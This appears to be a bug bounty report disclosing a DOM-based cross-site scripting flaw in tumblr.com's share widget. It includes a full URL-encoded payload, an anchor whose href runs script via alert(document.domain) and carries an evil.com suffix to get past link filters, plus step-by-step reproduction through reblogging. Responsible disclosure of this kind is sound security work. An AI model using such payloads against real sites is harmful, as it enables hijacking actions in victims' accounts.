DOM-Based XSS in tumblr.com

# Description Hi, i just found a XSS that i think it's a valid issue and i think it is in scope this time. To get the XSS the attacker needs to create a post in tumblr.com using `https://www.tumblr.com/widgets/share/tool?url=https%3A%2F%2Fkeerok.github.io%2F&title=%3Ca%20href=%22blocked:alert(document.domain);//http://evil.com/%22%3Eclick%20me%3C/a%3E&selection=click%20in%20the%20link%20after%20reblog&shareSource=chrome_extension` URL and change the link of click me text to `blocked:alert(document.domain);//https://evil.com/` without the "denied:". After post the payload , the victim needs to reblog the post in www.tumblr.com and click in "click me" and in "open" to open in a new tab the URL, after this, XSS will be triggered. I also attached a video of the PoC: {F842750} # Steps to reproduce 1. go to `https://www.tumblr.com/widgets/share/tool?url=https%3A%2F%2Fkeerok.github.io%2F&title=%3Ca%20href=%22blocked:alert(document.domain);//http://evil.com/%22%3Eclick%20me%3C/a%3E&selection=click%20in%20the%20link%20after%20reblog&shareSource=chrome_extension` 2. remove "denied:" from click me link 3. save the post 4. victim reblog the post 5. click in "click me" 6. click in open (Abrir) 7. XSS will be triggered ## Impact it is possible to perform malicious actions on the victim's account